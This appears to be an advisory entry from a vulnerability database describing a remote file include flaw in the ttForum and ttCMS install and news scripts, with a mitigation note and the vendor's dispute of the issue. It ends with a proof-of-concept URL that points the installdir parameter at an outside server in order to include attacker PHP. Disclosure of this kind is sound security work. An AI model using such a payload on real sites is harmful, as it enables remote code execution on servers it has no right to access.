Remote File Include Vulnerability in ttForum and ttCMS

vendor:

ttForum and ttCMS

by:

SecurityFocus

7.5

CVSS

HIGH

Remote File Include

CWE

Product Name: ttForum and ttCMS

Affected Version From: Unknown

Affected Version To: Unknown

Patch Exists: Unknown

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Unknown

2002

Remote File Include Vulnerability in ttForum and ttCMS

Due to insufficient sanitization of some user-supplied variables by the 'News.php' and 'Install.php' scripts, it is possible for a remote attacker to include a malicious PHP file in a URL. Successful exploitation will result in the execution of the attacker-supplied PHP instructions with the privileges of the web server.

Mitigation:

Ensure that user-supplied variables are properly sanitized before being used in a URL.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/7542/info
 
A remote file include vulnerability has been reported for both ttForum and ttCMS. Due to insufficient sanitization of some user-supplied variables by the 'News.php' and 'Install.php' scripts, it is possible for a remote attacker to include a malicious PHP file in a URL.
 
Successful exploitation will result in the execution of the attacker-supplied PHP instructions with the privileges of the web server.
 
There are conflicting reports about whether or not this issue exists. The vendor has stated that exploitation of this issue is not possible.

http://www.example.com/install.php?step=7&installdir=http://yourserver/Settings.php